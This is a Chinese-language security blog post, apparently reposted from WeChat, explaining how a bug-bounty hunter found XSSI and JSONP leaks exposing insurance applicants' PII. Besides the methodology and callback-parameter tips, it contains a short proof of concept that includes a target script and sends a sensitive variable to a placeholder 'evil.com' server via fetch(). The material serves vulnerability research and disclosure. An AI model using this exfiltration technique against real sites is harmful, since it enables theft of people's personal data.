发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金
2023-6-27 00:3:5 Author: 骨哥说事(查看原文) 阅读量:12 收藏

废话不多说,挖掘流程(一图胜千言):

如果不熟悉 XSSI/JSONP,请阅读以下内容:

XSSI: https://www.scip.ch/en/?labs.20160414
JSONP: https://www.sjoerdlangkemper.nl/2019/01/02/jsonp

方法论:

1、在爬取网站(手动/自动)后,在 Burp suite 中按 MIME 类型过滤结果,然后浏览“script”类型的响应以获取敏感信息

2、白帽子发现一处 JS 文件,其中包含投保时填写的所有信息,包括 SSN、病史、签证信息、姓名、电话号码、出生日期、地址等

3、查看 JS 文件的 HTTP GET 请求,以确保它不需要 CORS 标头,例如:

Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever

4、在该阶段,如果有 CORS 标头,那么攻击就会失败,除非也发现了 CORS 漏洞问题

5、如果不需要特殊的标头,那么可以使用<script>将 JS 文件包含在网页上,并将其发送到任何泄漏严重 PII 漏洞的服务器上,POC 类似于:

<script src="https://target.com/vuln.js"></script><script defer>// var_name is a variable in vuln.js holding sensitive informationconsole.log(var_name);// sending information to an attacker controlled serverfetch("https://evil.com/stealInfo?info="+var_name);</script>

可以使用相同的方式通过在返回敏感信息的所有路径上附加回调=some_function、jsonp=blah 等参数来查找 JSONP 回调。

经验要点:

-有时需要多个参数来触发 JSONP 响应如:

http://target.com?callback=test → no JSONPhttp://target.com?type=jsonp&callback=test → returns JSONP

-如果响应具有 Content-Type: application/json 但正文是 JSONP/javascript,并且 X-Content-Type-Options: nosniff 标头不在响应中,那么漏洞依然有效

-对于 JSONP,不同的回调参数可能适用于不同的端点,甚至在同一网站上,例如:

https://target.com/profile_info?callback=test→ no JSONPhttps://target.com/profile_info?jsonp=test→ returns JSONP
https://target.com/account_info?jsonp=test→ no JSONPhttps://target.com/account_info?jsoncallback=test→ returns JSONP

国外白帽子利用上述方法在一个私人项目上发现了 XSSI 漏洞,最终获得$800的赏金奖励。

你学会了么?

====正文结束====


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650256503&idx=1&sn=4f929b56c2917aa17942f385f8b361d4&chksm=be92dff389e556e5f0ade50724fbabee8a97e802f0497ad0c9d55357ecdc64c6d066b5978d64#rd
如有侵权请联系:admin#unsafe.sh